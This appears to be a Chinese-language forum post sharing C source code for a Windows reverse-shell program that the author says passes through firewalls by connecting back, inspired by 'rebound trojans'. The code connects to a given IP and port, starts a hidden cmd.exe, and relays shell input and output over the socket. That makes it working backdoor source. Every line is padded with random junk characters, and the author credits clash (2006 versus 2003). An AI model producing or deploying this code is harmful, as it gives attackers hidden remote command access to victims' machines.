这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 w6cl3J&
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/* ============================== 5!fYTo|G>
Rebound port in Windows NT ) c\Y!vS
By wind,2006/7 V0_tk"
===============================*/ oo2d,
#include K&`1{,
#include l#1#3F
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#pragma comment(lib,"wsock32.lib") ?..BA&zRk
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void OutputShell(); Z;81"
SOCKET sClient; 'xj5R=V
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; l7qW)<r
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void main(int argc,char **argv) r>peKo[X(
{ 'WE"$1
WSADATA stWsaData; CAC4A
int nRet; cI\[)5&
SOCKADDR_IN stSaiClient,stSaiServer; z5]6"v-
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if(argc != 3) >d
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{ reh{jMC
printf("Useage:\n\rRebound DestIP DestPort\n"); Dk^AnMx%_
return; 0Q&(j7`^@
} e~zgH\`
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WSAStartup(MAKEWORD(2,2),&stWsaData); mLZ1u\7W
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X\P%C
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stSaiClient.sin_family = AF_INET; rx2'].
stSaiClient.sin_port = htons(0); |_TI/i>?'
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |*NZ^6`@
)/>BgXwH
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O;<wDh)Yt
{ M['O`^
printf("Bind Socket Failed!\n"); 77O$^fG2
return; 3PU_STSix
} /"?DOsJ.
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stSaiServer.sin_family = AF_INET; yj&GJuNb~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); cZ:jht
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >jAFt_
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) bp:`m>4<
{ K$h\<_V
printf("Connect Error!"); y'!OA+ob
return; H)D|lt5xy
} %T]^,y$n
OutputShell(); K9k!P8Rd
} [A84R04_%
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void OutputShell() [cd1Mf:[Y
{ ]A=\P,D
char szBuff[1024]; &/WM:]^?0)
SECURITY_ATTRIBUTES stSecurityAttributes; )xV37]
OSVERSIONINFO stOsversionInfo; ]E<Z5G1HD
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; T\}U{9ELL
STARTUPINFO stStartupInfo; )dhR&@r*w
char *szShell; w!20
PROCESS_INFORMATION stProcessInformation; Ldz]FB|
unsigned long lBytesRead; WDIin6u-
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); HD=F2p
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #! R>`l(S
stSecurityAttributes.lpSecurityDescriptor = 0; }b(hD|e
stSecurityAttributes.bInheritHandle = TRUE; Th9V8Rg+E
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,]2?S5R
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x'`{#bKD
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); cWkg.ri-x
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1WMZ$vsQUb
stStartupInfo.wShowWindow = SW_HIDE; jDY
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stStartupInfo.hStdInput = hReadPipe; fAULuF
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -`k>(\Q<d
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GetVersionEx(&stOsversionInfo); b}R_@_<u
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switch(stOsversionInfo.dwPlatformId) X#&5?oq`
{ 5eori8gr7
case 1: rV%68x9
szShell = "command.com"; Vpnk>GWD
break; ,_kw}_n=
default: jy!]MAP#Gk
szShell = "cmd.exe"; gS+X%
break; Df4O~j$U"s
} &IUA[{o~e
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); AhF@
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send(sClient,szMsg,77,0); %[p*6&V
while(1) `}),wBq
{ zVS{X=u
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); g9pKoi|\E
if(lBytesRead) kS-BB[T
{ I_ZJnu<
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w"9h_;'C_
send(sClient,szBuff,lBytesRead,0); Z5q%L!4G
} ]%6%rq%9C
else k={D!4kKz
{ b\}a
lBytesRead=recv(sClient,szBuff,1024,0); Mgw#4LU
if(lBytesRead<=0) break; 7p.8{zQ*
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !.j{vvQ/
} Qf=^CQ=lV
} |URfw5Hm
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return; FFw(`[A_
}